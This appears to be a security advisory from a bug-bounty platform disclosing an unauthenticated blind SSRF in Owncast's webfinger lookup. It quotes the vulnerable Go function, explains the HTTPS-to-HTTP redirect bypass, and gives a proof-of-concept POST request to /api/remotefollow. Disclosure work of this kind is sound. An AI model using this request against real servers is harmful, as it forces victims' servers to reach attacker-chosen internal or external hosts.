Lucene search

K
huntrOxeye-daniel0D0D526A-1C39-4E6A-B081-D3914468E495
HistoryJun 07, 2023 - 1:13 p.m.

Unauthenticated Blind SSRF

2023-06-0713:13:00
oxeye-daniel
www.huntr.dev
26
ssrf
owncast
unauthenticated
http
get method
vulnerability
attacker
http request
url
query parameters
code
https
redirect
protocol
schema
basic authentication
credentials
credit
researchers

0.001 Low

EPSS

Percentile

37.0%

Description

The Oxeye research team found Owncast vulnerable to an Unauthenticated Blind SSRF vulnerability. This vulnerability may allow an unauthenticated attacker to force the Owncast server to send HTTP requests to arbitrary locations using the GET HTTP method. This vulnerability also allows the attacker to send the requests while specifying arbitrary URL paths and query parameters.

Proof of Concept

The vulnerable code is located in the GetWebfingerLinks function - https://github.com/owncast/owncast/blob/46864d18d9dcbba4ca990f58c8896d3d2f81d8aa/activitypub/webfinger/webfinger.go#LL22C8-L22C8

package webfinger

import (
	"encoding/json"
	"fmt"
	"net/http"
	"net/url"
	"strings"
)

// GetWebfingerLinks will return webfinger data for an account.
func GetWebfingerLinks(account string) ([]map[string]interface{}, error) {
	type webfingerResponse struct {
		Links []map[string]interface{} `json:"links"`
	}

	account = strings.TrimLeft(account, "@") // remove any leading @
	accountComponents := strings.Split(account, "@")
	fediverseServer := accountComponents[1]

	// HTTPS is required.
	requestURL, err := url.Parse("https://" + fediverseServer)
	if err != nil {
		return nil, fmt.Errorf("unable to parse fediverse server host %s", fediverseServer)
	}

	requestURL.Path = "/.well-known/webfinger"
	query := requestURL.Query()
	query.Add("resource", fmt.Sprintf("acct:%s", account))
	requestURL.RawQuery = query.Encode()

	response, err := http.DefaultClient.Get(requestURL.String())
	if err != nil {
		return nil, err
	}

	defer response.Body.Close()

	var links webfingerResponse
	decoder := json.NewDecoder(response.Body)
	if err := decoder.Decode(&links); err != nil {
		return nil, err
	}

	return links.Links, nil
}

As can be seen from the code above, the user-controlled input passed within the parameter name account is parsed as a URL, and later on, in line 32, an HTTP request is issued to the specified host.

Although Owncast attempts to limit the request URL to a specific path, and also the protocol schema to allow the https only, by pointing the request to an HTTPS server that will return an HTTP redirect status code, it is possible to redirect the request to use the http protocol scheme, to use basic authentication with attacker-specified credentials and also allows to redirect the request to the arbitrary URL path.

To demonstrate the above, we set up an HTTPS server using β€œpipedream.com” and instructed it to redirect the incoming request. Given an HTTP request, we send a 301 status code and a Location header, redirecting the request to our own controlled server.

We then issue the following HTTP request to Owncast to make it issue the initial HTTPS request to our β€œpipedream” instance:

POST /api/remotefollow HTTP/1.1
Host: owncast.local:8282
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 49

{"account":"[email protected]"}

Our HTTP listener received the redirected request, which was sent while:

  1. Using the http protocol schema
  2. Supplying basic authentication credentials that we specified
  3. Using a URL path of our own choice

Credits

0.001 Low

EPSS

Percentile

37.0%

Related for 0D0D526A-1C39-4E6A-B081-D3914468E495